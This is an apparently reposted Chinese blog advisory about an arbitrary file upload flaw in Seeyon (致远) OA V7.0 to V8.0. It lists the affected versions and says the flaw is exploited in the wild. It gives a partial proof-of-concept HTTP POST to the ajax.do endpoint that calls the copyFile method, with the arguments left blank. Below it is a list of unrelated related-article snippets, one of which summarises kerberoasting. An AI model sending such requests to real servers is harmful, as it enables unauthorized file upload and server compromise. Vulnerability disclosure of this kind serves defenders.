首页 > 其他分享 >致远OA任意文件上传漏洞

致远OA任意文件上传漏洞

时间:2023-08-12 23:34:37浏览次数:29  
标签:致远 1.1 V7.1 V7.0 OA 漏洞 上传

漏洞编号

影响产品

致远 OA V8.0

致远OA V7.1、V7.1SP1

致远OA V7.0、V7.0SP1、V7.0SP2、V7.0SP3

利用状态

在野利用(已公开poc)

漏洞详情

路径(需要普通用户权限)

POST /seeyon/aiax.do?method=aiaxAction&managerName=cipSynSchemeManager&requestCompress=gzip HTTP/1.1
Host: 1.1.1.1

managerMethod=copvFile&arguments=

标签:致远,1.1,V7.1,V7.0,OA,漏洞,上传
From: https://www.cnblogs.com/ytful/p/17625838.html

相关文章

  • 在 Spring Security 中实现基于 OAuth 2.0 的身份验证与授权
    SpringSecurity是SpringFramework的一个强大模块,用于处理应用程序的安全性需求。其中,OAuth2.0是一种流行的身份验证和授权协议,用于保护Web和移动应用程序的资源。本篇博客将深入探讨如何在SpringSecurity中实现基于OAuth2.0的身份验证与授权,包括配置OAuth2.0提供......
  • Django实现文件上传、文件列表查看、修改、限流和日志记录
    Django实现文件上传、文件列表查看、修改、限流和日志记录本章先简单实现文件的上传,后续会将标题的功能一一添加上去实现,并且给出远程服务器的不同连接方式【密码和秘钥】,欢迎继续关注。安装了Django框架pipinstalldjango 创建一个Django项目django-adminstartproj......
  • WPF自定义控件实战:自制上传文件显示进度按钮
    自定义控件在WPF开发中是很常见的,有时候某些控件需要契合业务或者美化统一样式,这时候就需要对控件做出一些改造。 目录按钮设置圆角按钮上传文件相关定义测试代码 话不多说直接看效果默认效果:上传效果:按钮设置圆角因为按钮本身没有CornerRadius属性,所......
  • 记录--Loading 用户体验 - 加载时避免闪烁
    这里给大家分享我在网上总结出来的一些知识,希望对大家有所帮助在切换详情页中有这么一个场景,点击上一条,会显示上一条的详情页,同理,点击下一条,会显示下一条的详情页。伪代码如下所示:我们定义了一个 switcher 模版,用户点击上一条、下一条时调用 goToPreOrNext 方法。该页面......
  • 论文解读(TAT)《 Transferable Adversarial Training: A General Approach to Adapting
    Note:[wechat:Y466551|可加勿骚扰,付费咨询]论文信息论文标题:TransferableAdversarialTraining:AGeneralApproachtoAdaptingDeepClassifiers论文作者:HongLiu,MingshengLong,JianminWang,MichaelI.Jordan论文来源:ICML2019论文地址:download 论文代码:download......
  • js对图片进行压缩,并上传
    注意:重点关注这几个js方法:1、递归压缩文件: doCompressImage()2、具体的图片文件压缩方法:compressImage()3、将Blob 转换为base64:blobToBase64()以下代码,可以直接拷进html文件中,在浏览器打开即可看到效果。(以下代码是h5)<!DOCTYPEhtml><htmllang="en"><head><metacha......
  • [NISACTF 2022]babyupload
    [NISACTF2022]babyupload题目来源:nssctf题目类型:web涉及考点:文件上传1.题目说传一个图片文件,那我们传个muma.jpg看看但是上传失败:回去检查一下源代码,发现有/source直接访问下载了一个压缩文件,解压之后是一个py文件,随后进行代码审计2.代码审计fromflaskimportFl......
  • 微信小程序_发布上传
       ......
  • kerberoasting攻击
    原理1.攻击者通过提供一个正常的域用户密码进行身份认证。KDC再验证账户和密码的有效性后,返回一个TGT。用于ST请求2.攻击者使用获取到的TGT请求针对制定SPN的ST。请求票据的TGS-REQ过程中,指定其支持的加密类型为RC4_HMAC_MD5(ARCFOUR-HMAC-MD5),因为加密算法相比其他加密算法比......
  • 公益图床,免费图片上传,稳定海外速度快优点
    公益图床,免费图片上传,稳定海外速度快优点参考地址:http://imgcdn.bolgk.eu.org/本帖隐藏的内容......